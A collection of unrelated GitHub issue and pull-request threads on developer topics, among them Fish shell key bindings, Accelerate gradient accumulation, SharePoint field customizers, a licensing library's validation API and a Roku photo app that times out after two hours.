You can use bind --user \t to find all user-defined \t bindings before binding \t to your own function:

Still doesn't work -- if everyone does this, all functions would be called in an infinite recursive loop :(
Given how many Fish plugins you've written, I suppose I might as well give you context for what I'm trying to do. I wanted to override the tab-completions for zoxide's Fish plugin.
What I want to do is replace the default Fish completer with fzf just for the z command. For example, a user should be able to type z foo bar <Tab>, which would bring up fzf instead of the default completer. Once the user selects an option (say /home/foo/bar, the command should be re-written to z /home/foo/bar.
Unfortunately, commandline cannot be used to write text inside of a completion function -- it works on some systems and doesn't work on others, which is why I was trying to bind the \t key.
Regardless, thanks for your help! I don't think there's a way to do this properly in Fish, so I'll have to use a workaround.

Still doesn't work -- if everyone does this, all functions would be called in an infinite recursive loop :(

When you bind \t, this overwrites existing bindings, but yes, I agree that you could run into a situation like that if are not careful (or even if you are). 😅
Have a look at @PatrickF1's excellent https://github.com/PatrickF1/fzf.fish for inspiration.

Still doesn't work -- if everyone does this, all functions would be called in an infinite recursive loop :(

When you bind \t, this overwrites existing bindings, but I agree that you could run into a situation like that if are not careful (or even if you are). 😅
Have a look at @PatrickF1's excellent https://github.com/PatrickF1/fzf.fish for inspiration.


[Feature Request] Dynamic batch size for gradient accumulation

Currently, the Accelerator is initialized with a fixed number of gradient accumulation steps. This means you will have the same batch size throughout training. However, many practitioners advocate for various forms of dynamic effective batch sizes, whether it's a batch size ramp-up at the beginning of training, adaptive batch sizes, or increasing the batch size at the end of training instead of decaying the learning rate.
Right now as far as I can tell, the options are either a static batch size; or manually handling gradient accumulation (the first, not-recommended way in the gradient accumulation tutorial). The latter seems likely to kill performance on multi-GPU setups because of synchronization, though it's working fine for me on a single GPU. Would appreciate a feature to allow me to dynamically increase the number of accumulation iterations throughout training!

You can already do this by doing the gradient accumulation manually. You just need to use the no_sync context manager for the backward pass when you don't want to do an optimizer step.

The other option would be to modify accelerator.gradient_accumulation_steps manually, however do note this should be done before iterating the training dataloader if so

Okay, so would this be the right way to do it using the strategy suggested by Zachary?
for index, batch in enumerate(train_dataloader):
    with accelerator.accumulate():
        input_ids, labels = batch["input_ids"], batch["targets"]
        micro_batch_loss = model(input_ids=input_ids, labels=labels).loss
        accelerator.backward(loss)
        if accelerator.sync_gradients:
            accelerator.clip_grad_norm_(model.parameters(), 0.5)
        optimizer.step()
        scheduler.step()
        optimizer.zero_grad(set_to_none=True)
        wandb.log({
            "micro_batch_loss": micro_batch_loss,
            "lr": scheduler.get_last_lr()[0],
        })

        # trying this--if we are done accumulating, linearly increase the effective batch size
        if accelerator.sync_gradients and accelerator.gradient_accumulation_steps < max_batch_size // micro_batch_size:
            accelerator.gradient_accumulation_steps += 1


Field customizer using react does not deploy correctly

Category

[x] Question
[ ] Typo
[x] Bug
[ ] Additional article idea

I have created a field customizer by following the tutorial here. However, when scaffolding the project with Yeoman, I chose React instead of No JavaScript framework. Everything works perfectly fine when running from localhost using query parameters. However, once uploaded to the app catalog and installed on a site, I fail to see the newly created column in the SPFx columns group as expected. It is possible I am missing a configuration or a critical deployment step. I can confirm that the js bundle is on my CDN because I can request it via Postman just fine.
Expected or Desired Behavior
Once the .sppkg file is uploaded to the app catalog and installed on a site, the new column should be available to add as an existing site column for lists and libraries under the SPFx Columns group or whatever group is specified in the elements.xml
Observed Behavior
Once .sppkg file is uploaded to app catalog and installed on a site, the column is not made available under the SPFx Columns group. I also gave it an adequate amount of time to fully deploy and become available as is common with most things in SharePoint.
Steps to Reproduce

Run the Yeoman generator for SharePoint, yo @microsoft/sharepoint in new directory.
<EMAIL_ADDRESS><EMAIL_ADDRESS>Answer the questions as follows: Accept default solution name, SharePoint Online only (latest), Use current folder, N, Extension, Field Customizer, default name, default description, React
Make any sort of rendering changes you would like, I simply changed the scss to make the text red.
gulp bundle --ship
gulp package-solution --ship
Upload .sppkg file to app catalog
Install as new app on site
Go to list or library on site
Go to list or library settings
Select Add from existing site columns
Select SPFx Columns group from drop down
No new available site column

OK, so there is a misunderstanding here.  The column formatter doesn't create the column, it is used to change the rendering of an existing column - similar to the jslink property on classic lists/libraries.
Just double-checking, did you follow the steps in this part (https://docs.microsoft.com/en-us/sharepoint/dev/spfx/extensions/get-started/building-simple-field-customizer#add-the-field-definition-to-the-solution-package-for-deployment) and create the element.xml file / rebuild/package/deploy the solution, etc?

@patmill Thanks for the response. Here is the elements.xml:
<?xml version="1.0" encoding="utf-8"?> <Elements xmlns="http://schemas.microsoft.com/sharepoint/">     <Field ID="{5ab7b573-15a7-4f0c-8162-6bef4b7564f5}"             Name="SPFxWorkflowSummary"             DisplayName="Workflow Summary"             Type="Text"             ReadOnly="TRUE"             Required="FALSE"             Group="SPFx Columns"             ClientSideComponentId="cf9513f9-105c-434e-937f-d57f4d7f7cf6">     </Field> </Elements>
This was in the solution at the time of creating the sppkg, the sppkg was uploaded to the app catalog, and installed on a site. It was my impression that a new column gets created based on these properties, but above you mentioned it needs to target an existing site column. This seems logical to me, but how do I go about targeting an existing site column? In the previously mentioned tutorial, I do not see where they are targeting an existing site column. I don't believe that 'Percentage' is a default site column, yet it worked for me when I followed the tutorial and did not use react, thus my suspicion that it is the culprit.

I was fighting this inside and out. If there's any issue with your Elements XML it will silently fail to deploy and the Site Column will not be created. A site column should be created if successfully added to a site.
Is the solution tenant deployed? If not you will need to add the app to a site before the site column is created.
From what I can see it looks like the Elements XML is correct, I'm not sure if ClientSideComponentProperties are required though but if they are this could be the issue.
I'd try changing your Elements.xml to this and redeploying:
<?xml version="1.0" encoding="utf-8"?>
<Elements xmlns="http://schemas.microsoft.com/sharepoint/">
  <Field ID="{5ab7b573-15a7-4f0c-8162-6bef4b7564f5}" Name="SPFxWorkflowSummary" DisplayName="Workflow Summary" Type="Text" ReadOnly="TRUE" Required="FALSE" Group="SPFx Columns" ClientSideComponentId="cf9513f9-105c-434e-937f-d57f4d7f7cf6" ClientSideComponentProperties="{}"></Field>
</Elements>

@CPritch : I have to run the below PowerShell script to bind the solution with the existing column.
$siteUrl =  "https://abc.sharepoint.com/sites/abc/"
$listTitle = "listname"
$fieldTitle= "Country"
Connect-PnPOnline -Url $siteUrl
$list = Get-PnPList -Identity $listTitle
$fld = Get-PnPField -List $list -Identity $fieldTitle
$fld.ClientSideComponentId = "b44de226-b2d2-44a4-b75f-b69be27e4202"
$fld.Update()
Invoke-PnPQuery


added reference to rebac policy template based on reviewer feedback

Add a reference to the policy files. (Feedback from a reviewer).

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 35.968%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
1042

Relevant Lines:
2897

💛  - Coveralls


add SQLite support

should be pretty easy because of low-level abstract architecture. Just an idea after brief convo with John Rogers about it

One problem I'm seeing is that the built-in Sqlite provider doesn't support data adapters, which is a blocker
See https://docs.microsoft.com/en-us/dotnet/standard/data/sqlite/adonet-limitations#data-adapters


make RN Android as .aar library?

I wan't to know how can make my Android RN project as library such as aar package?
Now , when I build an aar library , I find I can't put bundle file into my assets folder

@facebook-github-bot stack-overflow

@facebook-github-bot stack-overflow

@WenruiCui did u figure it out?
Check this SO question: http://stackoverflow.com/questions/33555530/gradle-aar-dependency-resolution-in-react-native-project


Back to v0.4.4-dev

What type of PR is this?
/kind documentation
What this PR does / why we need it:
Closes #975
Which issue(s) this PR fixes:

None
Does this PR have test?
None

Special notes for your reviewer:
None
Does this PR introduce a user-facing change?

None

@JAORMX @jhrozek PTAL


@views for assign_qp and for DataLoader.

At the moment we are allocating new arrays every time I'm calling these routines. This should be done with @views!

We should try using @views instead of writing custom AD rules. But this would require including some GPU tests ...


ExpiresBefore validation does not work

It seems ExpiresBefore validation does not work as expected. IfExpiresBefore does work.
With a license that has an expiration date DateTime.Today.AddDays(2);
//Sample from README..
var validationResults = LicenseKeyManager.Load<LicenseSchema>(signedLicense)
    .ActivatesBefore(DateTime.UtcNow)
    .ExpiresBefore(DateTime.Today.AddDays(7), "License about to expire via ExpiresBefore()")
    .IfExpiresBefore(DateTime.UtcNow.AddDays(7), expirationDate
        => Console.WriteLine("License about to expire via IfExpiresBefore()"))
    .ExpiresAfter(DateTime.UtcNow, "License is expired")
    .Validate();

if (validationResults.HasErrors)
    foreach (var error in validationResults.Errors)
        Console.WriteLine(error);

//Own check..
LicenseKey<LicenseSchema> license;

LicenseKeyManager.Load<LicenseSchema>(signedLicense).GetLicenseKey(out license);

DateTime test = DateTime.Today.AddDays(7);
DateTime keyExpiry = license.ExpirationDate;

if (license.ExpirationDate <= test.ToUniversalTime())
{
    Console.WriteLine("License about to expire via own test");
}

Output:
License about to expire via IfExpiresBefore()
License about to expire via own test
Press any key to continue . . .

Expected output:
License about to expire via IfExpiresBefore()
License about to expire via ExpiresBefore()
License about to expire via own test
Press any key to continue . . .

Looks like this is caused by the return statements in StandardLicenseValidator.cs. How did this get through testing?
https://github.com/ConnerPhillis/FluentLicensing/blob/27b001e34c25fc3300f991d058e8628dc94b27e4/src/FluentLicensing/FluentLicensing/KeyValidation/StandardLicenseValidator.cs#L70
And more like these:
https://github.com/ConnerPhillis/FluentLicensing/blob/27b001e34c25fc3300f991d058e8628dc94b27e4/src/FluentLicensing/FluentLicensing/KeyValidation/StandardLicenseValidator.cs#L48
https://github.com/ConnerPhillis/FluentLicensing/blob/27b001e34c25fc3300f991d058e8628dc94b27e4/src/FluentLicensing/FluentLicensing/KeyValidation/StandardLicenseValidator.cs#L27
https://github.com/ConnerPhillis/FluentLicensing/blob/27b001e34c25fc3300f991d058e8628dc94b27e4/src/FluentLicensing/FluentLicensing/KeyValidation/StandardLicenseValidator.cs#L92
https://github.com/ConnerPhillis/FluentLicensing/blob/27b001e34c25fc3300f991d058e8628dc94b27e4/src/FluentLicensing/FluentLicensing/KeyValidation/StandardLicenseValidator.cs#L114
https://github.com/ConnerPhillis/FluentLicensing/blob/27b001e34c25fc3300f991d058e8628dc94b27e4/src/FluentLicensing/FluentLicensing/KeyValidation/StandardLicenseValidator.cs#L137
...

I've looked through the tests and it looks like all the non-if functions are written in a manner of void(expected value, message if unexpected), which would explain why the code sample above didn't work as I expected.
This would make sense for use cases such as ActivatesBefore(DateTime.Now) and ExpiresAfter(DateTime.Now). But for ExpiresBefore this seems very confusing. Can you clarify?

Hi @RaymondBakker,
Wow, it's been a long time since I've looked over this code! I'm amazed people are using it, this was mostly a school project that I was hoping to use internally at my current organization.
So - to answer your question. Yes - all of the non If functions are written in the way that you've said. For example the documentation on ExpiresBefore states "check to see if the license expires before the given date / time".
I admit that that could be a little more verbose, perhaps something like "check to see if the license expires before the given date / time, if it does not expire by the given date / time the validation fails and the message is added to errors" But I was younger then and less experienced with documentation and API design 😄
Essentially this is how it works:

non If - "does the license expire before this date? " -> yes -> no error
if variant - "does the license expire before this date?" -> yes -> no error, invoke delegate

I assume what you were wanting to do was check to see if a license has expired, the code for that is written on the readme, and gives a pretty good idea of how the "if" and "non-if" functions are supposed to work. I've added an annotation and posted it below.
var signedLicense = GetSignedLicense();

if(!signedLicense.SignatureValid())
    throw new Exception("This license has been tampered with!");

var validationResults = LicenseKeyManager.Load<TestLicense>(signedLicense)
    .TypeNot(LicenseType.Trial)
    .ActivatesBefore(DateTime.UtcNow)
    .ExpiresAfter(DateTime.UtcNow, "License is expired")
    .MeetsCondition(license => license.LicenseData.IssuedTo == "Some Random User",
        "This license was issued to Some Random User, and you're not them!")
   /*
   this could have been written as:
   `.ExpiresAfter(DateTime.UtcNow.AddDays(7), "warning, license expires soon");`
   but that wouldn't make sense since that's a warning, not an error
   */
    .IfExpiresBefore(DateTime.UtcNow.AddDays(7), expirationDate
        => Console.WriteLine("warning, license expires soon")
    .Validate();

if(validationResults.HasErrors)
    foreach(var error in validationResults.Errors)
        Console.WriteLine(error);

P.S.
You seem pretty new to github, so a quick bit of advice:

Looks like this is caused by the return statements in StandardLicenseValidator.cs. How did this get through testing?

Statements like this can come off as really abrasive.  Maybe that was your intention, maybe it wasn't, and I certainty don't want to assume malice, but tbh it's hard to read any other way. Also, it pissed me off and made me not want to help you.
Let me just say first, I appreciate your thoroughness in looking through my code and trying to figure this out. Second, I am not an open source maintainer, I have a job that keeps me incredibly busy, and I really don't have the time for side projects like this.
If you're going to file an issue on an open-source maintainer's project, someone who's thanklessly providing code that is likely to save you a lot of time essentially for free, you should probably be a little bit more respectful before you go out of your way to call them incompetent.
Have a good day!

Hi @ConnerPhillis,
Thanks for the clarification. If you have the time, may I suggest adding the information on if/nonif function variants you provided above to the readme, especially the two bullet points? I think this can help people who stumble upon this library in the future.
Regarding your P.S.:
I like providing extensive information when opening issues because I often see people reporting bugs and issues that are incomplete or without proper steps to reproduce issues. I try to add what I'm doing and thinking while I am debugging so that issue acts as a chronological notepad for myself and those who maintain it, which is how the test question came to be.
I saw tests were included in the repository so I wondered how the tests passed when I didn't get the expected result with using just the NuGet package. I can understand how one could assume this question to be malicious, but assuming and jumping to the wording and phrasing used above is a bit overkill and ridiculous, don't you agree?
Just to set the record straight: I think this library is well made. I spent a fair bit of my weekend looking at the code to figure out where things went wrong in my implementation, in hopes of improving this project and providing extra information for those who stumble upon it in the future, especially considering there isn't a whole lot of documentation apart from the readme file - at least as far as I can see.
The testing question was a genuine one; a question which I kind of answered myself two hours later after I set up additional runtimes on this dev machine and jumped into the testing suite. If the question was malicious I wouldn't have bothered looking further, but I did. I was actually close to filing a pull request to 'fix' the related functions and tests based on my initial assumptions, but while writing the pull request I realized that it was likely working the way you confirmed above.
Like yourself, my job also prevents me from being an open source maintainer. I only work on private repositories, so my public profile is intentionally empty.


Example question

What is your FAQ?
Answer this example question with a random number?
Who could be qualified to answer this?
Anyone
Other Comments
This is purely a test issue, do not be alarmed!

17


Fix typo in mwc-button's README.md

@andrealeardini Acknowledged, will also correct that.

looks like duplicate of #35

Thanks! Fixed by slightly earlier https://github.com/material-components/material-components-web-components/pull/35.


Choose default metrics for Sidebar on first-run UX

What (if any) metrics should be displayed by default in the collapsible cards in the Sidebar?
As of 0.3.0, we show this. I'm not happy with the graphs here, which is completely my fault, and I think there are a lot of different ways we can should be present valuable data. Latest values + Sparklines, Bar charts, etc.
What I'd like to determine here is what metrics should we present to a completely new user, for each of the views, e.g.,

Routes: If > 1, Number of routes with errors over 40%, + Sparkline
Threads: Line or area chart comparing Active/Idle/Stopped proportions
HTTP: Value + Sparkline of Connections, Line or area chart comparing Response types

If there's no single data stream, how can we summarize and roll up many streams into a minified view?

This is low priority...higher priority to introduce some color and not have 50 shades of gray.

@shanberg - Can you please close this issue and open new issues for enhancements that you want to see to the primary nav cards? I think the gist is that you think that there might be value in other types of charts other than our current sparklines.

OBE


feat: download block ranges

WIP for letting the engine download entire block ranges rather than one-by-one. This mainly implements the full block range client, which is currently modeled after the single full block client.
TODO:

[x] Test range client
[ ] Integrate range client and inflight range requests into engine
[ ] Start range downloads instead of single block downloads after fetching the fcu head

This is the download half of #3117

Need to now integrate this

@rjected what's missing here? seeing the following in your list:

Start range downloads instead of single block downloads after fetching the fcu head

Let's try to get this in by Thursday and test it w/ rest of merged code on main so we can release Friday AM!


fix(site): show all icons in demo by removing unnecessary slice

I removed the .slice(0,835) from the code to correctly list newly added icons too.

ty


Fix custom fields not being displayed on the client profile

Closes #739 by loading the list of active custom fields, then pulling their values for the current client. Also sets the required attribute if the custom field is required.
(and yes, the bottom test field is supposed to be blank)

Woo, don't you just love all of the little fixes that just make things work :) Nicely done Belle.


add automated tests for presearch and algorand

Description
Add the automated tests for algorand and presearch application, (following same code struture as https://github.com/threefoldtech/tfgrid-sdk-ts/pull/2890).
The tests are different in that they ssh to the deployed VM and assert that the application is running with the correct version and network.

I tried running Algorand test and it failed w this err. Is this normal? Same with Presearch.

Did you use the correct SSH key type? you should use the ssh-ed25519 not the normal one.

can you please validate if the machine that runs these tests has ygg installed and configured,
I forgot to install ygg and got some connection errors, It was unclear if it came from the deployment or from my side

can you please validate if the machine that runs these tests has ygg installed and configured, I forgot to install ygg and got some connection errors, It was unclear if it came from the deployment or from my side

As we discussed, I'm going to mention that on the Readme to make sure that ygg is needed to be installed with all of the other needed packages.
Also, I added a few tries in the trim of the Docker hash: https://github.com/threefoldtech/tfgrid-sdk-ts/pull/3030/commits/a3b4659951b9855546386019f4b30059e6116f8b.


Missing options for iframe and Server environment variables

Problem/Motivation

Missing options in hassio/addon/abbbbbbb_uptime-kuma/config

Expected behavior

Setting up the addon

Actual behavior

No options other than Network webgui port.

Steps to reproduce

N/A

Proposed changes

Add them for more customization in settings
Add ssl options for https protocol
Thanks ;)

Add them for more customization in settings

I have no intention of adding those. Instead, we are awaiting an upstream change that allows the use of the Ingress feature, which is much more valuable.

Add ssl options for https protocol

If you need SSL, please use a reverse proxy that handles that.

Wow you fast 😂 no problem for ssl just thinking that was cool for some user, question, is it possible to create a private addon of it and add these ?

for ssl just thinking that was cool for some user

It isn't. In the past, many add-ons had those options. However, it has side-effects. For example, the need to restart add-ons when certificates change. In general, offloading SSL using a proxy is much easier, and better and greatly reduces the complexity of an add-on.
All my add-on, that currently still have SSL configuration options, will get them removed in the future.

is it possible to create a private addon of it and add these ?

Whatever you like 🤷

Everything is possible 😉 feel free to fork this repo and make the changes.

Ok, thanks, so no problem to forking project ;) I will do this
I will send a pull request if I do an ENORMOUS maj 😂
Have a good day ;)

I try, just use vim and insert true on false, type CTRL+C :w and :q, restart my addon to change variable 😂
I understand your laziness to code this, should rework all to make it live, so yeah my idea is stupid sorry ;)

I will send a pull request

As said above, I have no interest in adding that feature. Please don't bother opening a pull request for that.

Okay, thanks ;)
I'm new in docker coding, so I'm dumb 😂
Good coding for next addons ;)


Use a background color on the terminal quick fix icon

Otherwise the decoration underneath bleeds through:

Since it's partially transparent you can also see the circle outline on the yellow part

background is below the other decoration


Copy service_template into a blueprint

Purpose or Intent
Copy a blueprint with its service templates
Copy all resources actions and service resources under each server template
The new blueprint and its associations are saved.
All service templates are marked as not displayable and belong to the new blueprint.
Links
It has a dependency on #9697
Steps for Testing/QA

@gmcculloug I updated the PR to copy the whole blueprint and make the main copy method copy_service_template private. The private method can be used both to copy bundle of a blueprint or copy catalog items into a blueprint.

cc @bdunne

@gmcculloug @bdunne with this update, the dialogs of the bundle are copied, but I realized there is a bug because we should copy the dialog only once.

@gmcculloug @bdunne Another update. Copy only one dialog.


KAN-3: Blog about pre trained models for computer vision

@atimin I still need to update some pictures that are blurry and add the code examples to a repo, but the text is already ready for review.


App closing out at the 2 hour mark

We noticed this started this past Friday. At almost exactly 2 hours, the app closes out back to the Roku home screen on all 4 TV's we have.
Release v3.7.2 - Build 5.620.20210301
I do see the Roku devices did an update Friday, but the power/data saving settings are intact and set to off.
Edit: This appears to be a Roku issue itself.  I have even tried the new Roku photo streams and it does the same thing.

We are having a similar issue and have the same release/build.

I have seen the same thing.  I need to keep a loop repeating all day and it no longer does that.

I have the same problem here, the app closes after 2 hours on roku tv

We are seeing the same issue on the 2 hour mark. Any word on a fix?

We are having the same issue on the 2 hour mark. I tried the #375 bug fix and it didn't work for me is there something new to help out?

I found a workaround.  Set your screensaver timeout as low as it will go without being disabled. When the 2-hour limit hits the screens will still go back to the home screen, but it will automatically start again.

also having the screen timeout at the 2-hour mark even though it's on only 1 photo.

We use this app on several TVs and they all are timing out even faster now.  Some after an hour and a half.  Do we think there will be a fix for this?  I'm trying to decide whether I need to come up with another solution for us.  If you think you can fix this soon, let me know and I'll make a good donation once it is up and running again.

Same here!! For about the past year I was able to have uninterrupted slideshow playback in our church foyer on a Roku TV using the PhotoView app with the simplicity of drag and drop pics into Google Photos from my office. About 5 weeks ago it started timing out after about 2 hours and kicking out to the Roku menu. It is unusable to me in this state and I would love to see it fixed and would donate to see it fixed! It seems like the support is no longer there to expect updates or a fix for this. Is that true??? Thanks!  OR - does anyone here know of another suitable alternaive app?

Acknowledging the issue.  I’ve not had a chance to look into this yet. Roku changes things all the time and keeping up with it is tough. I’ll look I to it soon

Thanks! Appreciate the response and any attention to this. LOVE THE APP! Can't wait for the fix! :)

After getting the same thing with PLEX, I read that Roku last month disabled independent apps from overriding the screensaver time. They had to pull that setting in their last update.

I understand.  Thank you for looking into this.  Your work on this is much
appreciated!
On Fri, Jun 23, 2023, 5:30 PM Chris Taylor @.***> wrote:

Acknowledging the issue. I’ve not had a chance to look into this yet. Roku
changes things all the time and keeping up with it is tough. I’ll look I to
it soon
—
Reply to this email directly, view it on GitHub
https://github.com/chtaylo2/Roku-GooglePhotos/issues/447#issuecomment-1605060801,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AT3RW54233NJYRXQSUZKX3LXMYKJ3ANCNFSM6AAAAAAYMI53MI
.
You are receiving this because you commented.Message ID:
@.***>

Yes - any updates??? I haven't seen any difference in the behavior of the app yet - I try about once per week. It still times out around the 2 hour mark. Unfortunately we are moving away from using this app out of necessity until something changes. I can't wait for it to work again. Please help. Thanks!

By chance did you see my other reply?   "I found a workaround. Set your screensaver timeout as low as it will go without being disabled. When the 2-hour limit hits the screens will still go back to the home screen, but it will automatically start again."

I did not see that, I'm trying it right now, thank you. But we were able to use this basically as remotely manageable digital signage previously without any interruptions. We'll really need that kind of functionality again for it to work the way we need in our context. Thanks!

We tried that workaround already a few weeks ago on several TVs and it
didn't fix it for us.
Thanks,
Chris Reed
Technology Director
ASI Gymnastics
214.280.9777
On Thu, Jul 13, 2023 at 10:56 AM fieroloki @.***> wrote:

Yes - any updates??? I haven't seen any difference in the behavior of the
app yet - I try about once per week. It still times out around the 2 hour
mark. Unfortunately we are moving away from using this app out of necessity
until something changes. I can't wait for it to work again. Please help.
Thanks!
By chance did you see my other reply? "I found a workaround. Set your
screensaver timeout as low as it will go without being disabled. When the
2-hour limit hits the screens will still go back to the home screen, but it
will automatically start again."
—
Reply to this email directly, view it on GitHub
https://github.com/chtaylo2/Roku-GooglePhotos/issues/447#issuecomment-1634499288,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AT3RW53I42GAQRMLTQKNCQDXQALEDANCNFSM6AAAAAAYMI53MI
.
You are receiving this because you commented.Message ID:
@.***>

Any word on if this will be fixed or has anyone found another work around?

following as well. having the same issues.

Same problem here with about 10 screens. Hoping for a fix.

Love the app and it's been hugely helpful, but I've been having this same issue for the last 3-4 months.

It still does the same thing for us so no it has not been fixed.
On Fri, Dec 1, 2023 at 9:28 AM louisecasey @.***> wrote:

"At almost exactly 2 hours, the app closes out back to the Roku home
screen". Has this issue ever been resolved?
—
Reply to this email directly, view it on GitHub
https://github.com/chtaylo2/Roku-GooglePhotos/issues/447#issuecomment-1836307232,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AT3RW5366YNIM2U573QHHN3YHHZRRAVCNFSM6AAAAAAYMI53MKVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQMZWGMYDOMRTGI
.
You are receiving this because you commented.Message ID:
@.***>

Yep, already tried that and didn't fix it for us.
On Fri, Dec 1, 2023 at 9:37 AM fieroloki @.***> wrote:

The workaround I mentioned is still working for us.
"Set your screensaver timeout as low as it will go without being disabled.
When the 2-hour limit hits the screens will still go back to the home
screen, but it will automatically start again."
—
Reply to this email directly, view it on GitHub
https://github.com/chtaylo2/Roku-GooglePhotos/issues/447#issuecomment-1836320295,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AT3RW56A3JLF5S6GQ5CPXMDYHH2R3AVCNFSM6AAAAAAYMI53MKVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQMZWGMZDAMRZGU
.
  Thanks.  Did you find a way to hold pictures more than 30 seconds (after the initial 2 hours).
On Friday, December 1, 2023 at 07:37:02 AM PST, fieroloki<EMAIL_ADDRESS>wrote:

The workaround I mentioned is still working for us.
"Set your screensaver timeout as low as it will go without being disabled. When the 2-hour limit hits the screens will still go back to the home screen, but it will automatically start again."
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you commented.Message ID: @.***>

We have gone to the Roku photo app and have had no issues.
From: louisecasey @.>
Date: Monday, December 4, 2023 at 6:09 PM
To: chtaylo2/Roku-GooglePhotos @.>
Cc: Fava Tea Marketing @.>, Comment @.>
Subject: Re: [chtaylo2/Roku-GooglePhotos] App closing out at the 2 hour mark (Issue #447)
This works, kind of.  Thanks.  Did you find a way to hold pictures more than 30 seconds (after the initial 2 hours).
On Friday, December 1, 2023 at 07:37:02 AM PST, fieroloki @.***> wrote:
The workaround I mentioned is still working for us.
"Set your screensaver timeout as low as it will go without being disabled. When the 2-hour limit hits the screens will still go back to the home screen, but it will automatically start again."
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you commented.Message ID: @.***>
—
Reply to this email directly, view it on GitHubhttps://github.com/chtaylo2/Roku-GooglePhotos/issues/447#issuecomment-1839776949, or unsubscribehttps://github.com/notifications/unsubscribe-auth/BAD6MK5J4EDJRQ46B7YMDZDYHZQ2FAVCNFSM6AAAAAAYMI53MKVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQMZZG43TMOJUHE.
You are receiving this because you commented.Message ID: @.***>

I hate to say it, but we have moved on from this app that I loved due to the 2 hour issue and the lack of any resolution. Once it stopped working, we never could get the workarounds to do what we needed. It is time to fix this.. or we should all figure out something else that does what we need.

Hi,
I have the same issue , can you please provide me solution or workaround or any other software apps for Roku.
Thanks


FR: Ability to map the Quit command to a different key combo

I'd like the ability to make it so a dialog does not quit when pressing Command + Q on the keyboard.
Background: I'm working on moving my automated device enrollment workflow over from DEPNotify to swiftDialog, but one thing DEPNotify can do which I'm missing is the ability to map the quit command to a unique key combo. This prevents someone from accidentally (or purposefully) quitting the dialog. Right now dialog responds to Command + Q even if the main button is disabled. The script continues to run in the background, but could be very confusing for the end user if there is no window on screen displaying what's happening.

I've had a few comments about the availability of cmd+Q.
I personally think there should always be a way to quit dialog, specifically for instances when the controlling script goes south and you have a full screen (or blurred background) dialog hogging the UI making the device unusable.
Setting a custom quit hotkey might be an acceptable compromise though.

Yes, completely agreed! I wouldn't want a way that dialog could NOT be quit, exactly for the reasons you mentioned. Just a way to map the quit command to another key combo.

+1

https://github.com/bartreardon/swiftDialog/commit/262eb7e83f568700bb245e4019d006123d855f1e should address this. Adds --quitkey so you can set it to something else like --quitkey x
As a bonus, blocking cmd+w as well
If someone does cmd+q quit then the exit code will be 10 so it's detectable.
a change where I cleaned up some of the markdown stuff snuck in as well and I couldn't be bothered cleaning out the commits to make it a seperate feature branch.

https://github.com/bartreardon/swiftDialog/wiki/Modifying-command-q-behaviour

Awesome! Thanks for doing this. Tested and working great!


Fix CoAP client cli payload argument

CoAP client cli passes wrong length of payload argument. This PR uses strlen to get the payload length.

Codecov Report

Merging #1621 into master will increase coverage by 0.06%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #1621      +/-   ##
==========================================
+ Coverage   69.33%   69.39%   +0.06%
==========================================
  Files         159      159
  Lines       20260    20259       -1
  Branches     2486     2486
==========================================
+ Hits        14047    14059      +12
+ Misses       5301     5285      -16
- Partials      912      915       +3

Impacted Files
Coverage Δ

src/core/thread/lowpan.hpp
86.84% <0%> (-13.16%)
:arrow_down:

src/core/thread/data_poll_manager.cpp
65.44% <0%> (-2.95%)
:arrow_down:

src/ncp/ncp_base.cpp
33.66% <0%> (-2.12%)
:arrow_down:

src/core/net/udp6.cpp
82.85% <0%> (-1.91%)
:arrow_down:

src/core/api/thread_api.cpp
43.13% <0%> (-0.79%)
:arrow_down:

examples/platforms/posix/radio.c
78% <0%> (-0.42%)
:arrow_down:

src/core/thread/mesh_forwarder.cpp
78.21% <0%> (-0.13%)
:arrow_down:

src/core/thread/mle.cpp
82.12% <0%> (+0.21%)
:arrow_up:

src/core/thread/mle_router.cpp
77.45% <0%> (+0.21%)
:arrow_up:

src/core/thread/network_data_leader_ftd.cpp
68.3% <0%> (+0.23%)
:arrow_up:

... and 3 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 1790ddd...5a36e5e. Read the comment docs.


Catch bind in render when assigned to a variable (#474)

Takes care of part of the issue brought up in #474.

Merged, thanks!


overriding the end_format_char

thanks for making a great tool! I just have one request. Could you add an option to printy() that allows the end_format_char to be manually defined? I'm running into issues where I'm using printy with an f-string, but it's not coloring the output correctly in scenarios where sent contains an "@" symbol.
printy(f'{row_i} [r]lang:@ [n]{lang_name:10}@ [r]clean sent:@ [n]{sent}@')

You're right boss. Actually I ran into the same issue a while ago, haven't had time to work on this though.
I think the option of creating a subclass of printy with custom options is good, but, for this specific problem I guess the best approach to take is to escape whatever we're passing to printy. I'll be updating it with a new helper function that escape all the special characters that printy uses (This way, in case you override and define your own special characters, they will be escaped too).
Probably something like:
from printy import printy, escape_printy as esc

email =<EMAIL_ADDRESS>
printy(f'E-mail: [r]{esc(email)}@')

Hello Oliver.
New version available including this functionality, thanks for your request.
Printy 2.2.0: https://pypi.org/project/printy/2.2.0/

@all-contributors please add @obentham for userTesting


Splash screen

lazy val splashScreenImage: Option[Path] = None
can be used to specify the Path to a image file. This file will be added to the onejar jar file and the filename will be added to the onejar MANIFEST for key SplashScreen-Image.
I extended onejarPackageOptions. I have used a Listbuffer. There must be a nicer way to do this.
Please review.

Apologies for not seeing this PR when it landed. I'm going to close it now given the age. I tend to recommend and use sbt-assembly more over onejar these days.


outstanding issues viewed are being counted towards ignored outstanding issues

